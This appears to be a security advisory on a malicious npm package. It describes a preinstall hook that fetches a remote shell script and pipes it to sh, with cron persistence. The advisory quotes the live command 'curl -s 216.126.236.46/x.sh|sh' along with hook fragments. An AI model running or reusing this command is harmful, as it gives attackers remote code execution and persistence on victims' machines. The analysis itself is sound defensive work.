GCVE-110-OSM-2026-11287

This package is a classic install-time loader targeting npm install victims: the manifest contains a preinstall hook that runs `node -e`/`child_process`, downloads `http://216.126.236.46/x.sh`, pipes it to `sh`, and then adds a `crontab` job to keep re-fetching and re-executing the same payload every 30 minutes. The shipped `index.js` is an inert stub (`module.exports = { login: () => Promise.resolve({}) };`), so the only meaningful behavior is the lifecycle hook, which is consistent with attacker-controlled remote code delivery and persistence on the victim machine. The bare-IP HTTP endpoint and cron persistence make the attacker model clear: a maintainer-compromise or throwaway-publisher delivery mechanism designed to gain execution and maintain foothold on installers' hosts. The new publisher account and brand-new package metadata reinforce that this is not a legitimate auth module but a malicious package intended for propagation. ENTRY index.js (main: index.js) - Preinstall Script in package.json: ""preinstall": "node -e \"" PERSISTENCE - Cron Job Persistence in package.json: "crontab -" DESTINATION - 1 fetched-payload (ipv4) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in package.json: "curl -s 216.126.236.46/x.sh|sh" ADDITIONAL FINDINGS - Shell Command Execution in package.json: "require('child_process')" - Brand New Package - Very New NPM Publisher Account